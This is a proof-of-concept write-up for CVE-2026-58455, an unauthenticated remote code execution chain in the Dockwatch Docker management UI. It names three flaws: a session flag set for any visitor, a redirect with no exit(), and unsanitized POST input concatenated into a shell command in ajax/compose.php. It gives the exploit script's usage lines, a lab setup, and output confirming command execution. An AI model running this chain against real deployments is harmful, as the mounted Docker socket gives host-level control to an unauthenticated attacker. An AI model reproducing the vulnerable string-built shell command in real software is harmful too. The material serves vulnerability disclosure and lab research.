CVE-2026-58455 — Dockwatch Unauthenticated RCE (auth bypass + command injection)

Proof-of-concept for CVE-2026-58455: unauthenticated remote code execution in Dockwatch (by Notifiarr), a self-hosted Docker container management web UI. Affects all versions through 0.6.567.

Root cause (verified from source)

Three flaws chained together:

1. Session flag set without auth — GET /includes/header.php executes $_SESSION['IN_DOCKWATCH'] = true; for any visitor. The AJAX layer (ajax/shared.php) only checks this flag.
2. Missing exit() after auth redirect — loader.php sends a Location: login.php header when $_SESSION['authenticated'] is false but does not terminate execution, so the rest of the request keeps running.
3. OS command injection — ajax/compose.php (m=composePull) builds a shell command with unsanitized input:
   root@kitploit:~

   $cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
   $pull = $shell->exec($cmd . ' 2>&1');
   

   The output is reflected back in the HTTP response.

Chained: an unauthenticated remote attacker runs arbitrary OS commands as the web server user inside the container. Typical deployments mount /var/run/docker.sock into the container → equivalent to root on the host.

Usage

python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888            # defaults

Python 3 stdlib only.

Lab (reproduce)

docker run -d --name dockwatch-lab -p 8888:80 \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ghcr.io/notifiarr/dockwatch:v0.6.567

Verified output

$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
    uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)

Remediation

Update Dockwatch to a version newer than 0.6.567. As mitigation, do not expose Dockwatch to untrusted networks and remove the Docker socket bind if not required.

Disclaimer

For authorized security research and lab use only.